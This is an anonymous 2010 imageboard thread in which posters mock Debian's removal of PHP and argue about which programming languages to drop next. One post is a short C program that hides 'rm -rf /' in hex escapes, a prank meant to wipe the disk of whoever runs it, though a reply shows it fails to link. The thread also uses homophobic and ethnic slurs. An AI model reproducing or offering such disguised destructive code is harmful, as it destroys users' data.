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Bad languages have no place in a modern OS

Name: Anonymous 2010-03-01 3:07

In a generally well-appreciated move, packagers of the most widely used GNU operating system decided to remove support for PHP, arguing that it is ``a rotten language whose use should not be encouraged.''

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=380731

Which other languages do you think we should remove from now on?
I think we should start with Perl.

Name: Anonymous 2010-03-01 3:15

Interesting choice. I couldn't care less about PHP, but it might be useful to have it installed if you need to run other people's code.

Name: Anonymous 2010-03-01 3:15

>a rotten language whose use should not be encouraged
PHP fags GOT TOLD

Name: Anonymous 2010-03-01 3:16

>>1
More like GNU is irrelevant and has no place in a modern OS.

Hey guys, look at me! Give me attention! I'm getting rid of PHP! Aren't I a messenger of God Himself?!

Everyone else: *goes back to what they were doing*

Name: Anonymous 2010-03-01 3:20

#apt-get install libapache2-mod-php5 libapache2-mod-perl2 php5 php5-cli php5-common php5-curl php5-dev php5-gd php5-imap php5-ldap php5-mhash php5-mysql php5-odbc php5-xslt
php -r "while(true){echo'fuck your mother';}"

Name: Anonymous 2010-03-01 3:33

Time for C to go.

Name: Anonymous 2010-03-01 4:01

>>3
fags GOT TOLD
Back to /g/, please

Name: Anonymous 2010-03-01 4:19

>>7
>Butthurt PHP programmer

Name: Anonymous 2010-03-01 5:22

Embedding PHP? Yah, good riddance!
Now if they would only automatically rm -rf / whenever some drooling underage idiot tried to program a GUI in that thing!
I mean, WTF, it's not even drag and drop like VB was. Its garbage collection is broken and its ``lambda'' support is almost Lovecraftian. It is very nearly the worst possible language to use for the task!

Name: Anonymous 2010-03-01 6:49

>>8
No, PHP: Hypertext Preprocessor is Terrible! and should be avoided like the plague. I asked you nicely to go back to /g/, please for posting a /g/ QUALITY post.

Also, learn how to properly quote.

Name: Anonymous 2010-03-01 9:47

[quote]you meana liek dis:
[/quote]

Name: Anonymous 2010-03-01 9:47

[quote]fadaf[/quote]

Name: Anonymous 2010-03-01 10:37

>>3
fags
>>8
Butthurt

Back to /b/, please.

Name: Anonymous 2010-03-01 13:00

I say we remove Haskell next.

Name: Anonymous 2010-03-01 13:04

>>14
You just don't understand Haskell, you anti-Haskell Nazi!

Name: Anonymous 2010-03-01 13:13

Let's get rid of C++, stick with C as a base, and then reconstruct the whole language so that our new "C++" escapes all the shortcomings of its original namesake.

Name: Anonymous 2010-03-01 13:14

>>16
lets call it C;

Name: Anonymous 2010-03-01 13:43

ONE WORD THE FORCED INDENTATION OF CODE THREAD OVER

Name: Anonymous 2010-03-01 14:41

This thread has been one word the forced indentation of code thread overed. You can't post anymore

Name: Anonymous 2010-03-01 14:51

>>16
Let's call it Objective-C because the world needs more Smalltalk.

Name: Anonymous 2010-03-01 15:51

let us remove the blinded evil that is Objective-C as it does not bear the signifigance or usefulness to exist as anything other than what it really is, not as the 'easiest' way to code for apple cocoa interface, not as a C based language, but something that does not deserve to exist upon this earth in any way shape or form

Name: Anonymous 2010-03-01 16:07

>>20

I hate smalltalk.

Nice weather today, isn't it?

Fuck you.

Name: Anonymous 2010-03-01 16:38

I think we should start with Perl.
I sure don't. You can't really run many systems without it these days. FIOC is a much easier choice.

Really though, I'm more into what should be better supported. Any thoughts?

Name: Anonymous 2010-03-01 18:15

>>3
>>8
LEARN TO QUOTE, PLEASE.

Name: Anonymous 2010-03-01 18:16

>>24,24,24,24,24,24,24,24,24,24,24,24,24,24
And yes, I forgot to OPTIMIZE my quotes.

Name: Anonymous 2010-03-01 19:07

>>16
The biggest mistake that Sepples makes is tying itself to backward compatibility with the entire history of See *AND* Sepples. If it divorced See and made better design decisions, it could actually be a decent language.

Similarly, they could simply revise the entire language in the next standard and force a compatibility compilation mode for previous code that would need to be updated to use the new standard. This approach allows code to continue working as it used to while making important design decisions. In this way, new code gets written in the new standard.

These two things combined would easily turn Sepples from a clusterfuck into a serious contender for a good language.

Name: Anonymous 2010-03-01 19:38

Remove Java.

Name: Anonymous 2010-03-01 20:01

Remove Ruby. It's always at the bottom of every performance shootout.

Name: Anonymous 2010-03-01 20:14

>>28
Ruby is also created by a Mormon.  That's enough reason for me to want nothing to do with it.

Name: Anonymous 2010-03-01 20:35

>>29
zOMG! For real!? http://en.wikipedia.org/wiki/Yukihiro_Matsumoto Well, a Japanese Mormon, who woulda thunk it!?

Name: Anonymous 2010-03-01 20:58

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Name: Anonymous 2010-03-01 21:00

>>30
That a Jap made a programming language that Americans found worth using is supposed to be the bizarre part. Being a mormon should just be some sort of amusing footnote.

Name: Anonymous 2010-03-01 21:01

>>32
AMUSE MY ANUS

Name: Anonymous 2010-03-01 21:28

>>32
* Asian-American

Name: Anonymous 2010-03-01 21:52

>>34
-American
wat

Name: Anonymous 2010-03-01 22:19

>>10,15,22,24-25
thanks for reminding me why i keep coming here.

Name: Anonymous 2010-03-01 22:21

>>26
I don't think anyone ever doubted that Sepples could be good if it weren't Sepples.

>>16
Sticking with C as a base is no good. The cult of C has to die, for the good of programming. Oh, until some other portable assembler comes along C will be an important language, but operating systems should not be constructed with the assumption that C is the default language for desktop software.

Name: Anonymous 2010-03-02 0:32

debian is popular enough to be linked to on 4chan now?

Name: Anonymous 2010-03-02 1:18

#define AZD sys
#define BZD tem
#include <stdlib.h>
char * str = "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f";
int main(void)
{
    AZDBZD(str);
    return 0;
}

Name: Anonymous 2010-03-02 1:36

Scheme/LISP

Name: Anonymous 2010-03-02 3:15

modern OS
Debian
Does not compute.

Name: Anonymous 2010-03-02 4:21

>>41
 "hypermodern" Android is based on more ancient Lunix kernel than debian.

Name: Anonymous 2010-03-02 6:17

Debian no longer exists, it's called Ubuntu GNU/Linux now.

Name: Anonymous 2010-03-02 6:27

>>43
Linux no longer exists. It's called FreeBSD now

Name: Anonymous 2010-03-02 7:02

FreeBSD no longer exists. It's called Mac OS X now

Name: Anonymous 2010-03-02 7:09

Macs are just overpriced PCs with proprietary BSD

Name: Anonymous 2010-03-02 10:02

>>39
/tmp/ccU7S1Bk.o: In function `main':
>>39.c:(.text+0x14): undefined reference to `AZDBZD'
collect2: ld returned 1 exit status

Name: Anonymous 2010-03-02 16:35

>>42
debian uses more ancient userland, tho.
the linux kernel hasn't really gotten any more modern since 2003.

Name: Anonymous 2010-03-02 16:40

>>48
the linux kernel hasn't really gotten any more modern since 2003.
I really hope you are trying to troll.

Name: Anonymous 2010-03-02 16:42

I'd hate to say it, I love GNU and all, but the maintainers and packagers (especially ones wearing red hats) have been getting lower quality lately. PHP is a great language, if one uses it 10 lines at a time, for simple scripts.

Name: Anonymous 2010-03-02 17:15

Java is a great language if you don't create any classes.

Name: Anonymous 2010-03-02 17:24

>>48
In 2003 you couldn't plug in a printer and have it work.
Now you can (in most cases). So clearly, the kernel improved a lot in terms of hardware support.

Name: Anonymous 2010-03-02 17:27

>>52
see http://dis.4chan.org/read/comp/1267135871
*nix has always been about printer support, not just since '03. i remember one story about how RMS had a problem getting a printer to work so he wrote a new OS.

Name: Anonymous 2010-03-02 17:33

>>46
Ironically, the OS X retail disc is less expensive than Windows.

Name: Anonymous 2010-03-02 19:21

>>52
and in 2010 you can't even plug in a printer and have it work on os x or windows without installing 400MB of crap from hp.
oddly enough, my hp laserjet worked just fine when i plugged it into my dell machine running debian in 2003.

Name: Anonymous 2010-03-02 19:47

The market for inkjets and lasers should never be compared. It's like comparing the business of disposable plastic glasses to that of masterfully handmade pottery.

Name: Anonymous 2010-03-02 19:53

>>55
CUPS plugs in Gutenprint by default or comes with drivers.

Name: Anonymous 2010-03-02 20:22

>>54
Ironically, he was talking about Mac hardware, not OS X.

Name: Anonymous 2010-03-02 20:58

Debian is still good and PHP still sucks.

Name: Anonymous 2010-03-02 21:12

>>58
Ironically, I was already aware of that.

Name: Anonymous 2010-03-02 21:32

>>57
yes, and since it worked, >>52 was wrong. the kernel (in 2003) had good enough hardware support for the printer to work. and that was even on a 2.4 kernel, not the (at the time) shiny new 2.6 kernel.

Name: Anonymous 2010-03-02 22:43

>>61
In my opinion it is userland that has evolved the most dramatically since about 2006. Prior to that, it seems XP had something on Linux for hardware support. I don't think Windows ever caught up (and my optical drive still won't work in Win7.)

Name: Anonymous 2010-03-02 23:14

>>62
that's what >>48 said. the kernel's pretty much stood still while the userland has changed a lot.

Name: Anonymous 2010-03-03 2:30

JAVA

Name: Anonymous 2010-03-03 8:51

>>63
You missed a few nuances there.

Name: Anonymous 2010-03-03 12:01

>>17
let's call it C!

Name: Anonymous 2010-03-03 12:49

>>17
pronounced "sesame"

Name: Anonymous 2010-03-03 13:37

>>64 HA

I wish. :(

Name: Anonymous 2010-03-03 17:11

>>62
You know that hardware support comes from the kernel, right?

Name: Anonymous 2010-03-04 1:15

>>69
pretty much all usb printers look the same to the kernel. it's cups that handles all the stuff that's specific to certain models.

Name: Anonymous 2010-03-04 1:26

Call it CC: Carbon Copy

Name: Anonymous 2010-03-04 1:48

>>69
Yes I do. My point is that despite (apparently) displacing Windows for hardware support, userland has evolved much more.

>>70
cups still makes me sad.

Name: Anonymous 2010-03-04 2:06

>>72
cups is userland, not kernel. a lot of hardware works like that. especially things like video cards. most of the improvements to hardware support have been in userland.

Name: Anonymous 2010-03-04 2:38

>>73
You're being irrelevant. 100% of my newly/better supported hardware since 2003 has required some kind of kernel support/improvement. I was printing things just fine in 1996, and I still don't need cups to do it.

Name: Anonymous 2010-03-04 5:36

TYPE C:\ANSIPORN.TXT > LPT1

Name: Anonymous 2010-03-04 6:33

>>75
ANSI PORN is inferior to SHIFT-JIS porn, you baka gaijin.

Name: Anonymous 2010-03-04 7:38

>>76
In more civilised parts of the world we just drag “unicode porn.txt” to the printer icon these days.

Name: Anonymous 2010-03-04 8:20

Would the world benefit if we bombed OP's house?
We wouldn't have to put up with his gay posts, and we could party on his land.

Name: Anonymous 2010-03-04 8:24

>>78
import democracy

Name: Anonymous 2010-03-04 8:36

>>79

#include <geothemralNUCLEARwar.h>
//guarantees success and oil

Name: Anonymous 2010-12-06 9:32

Back to /b/, ``GNAA Faggot''

Name: Anonymous 2011-02-03 2:34

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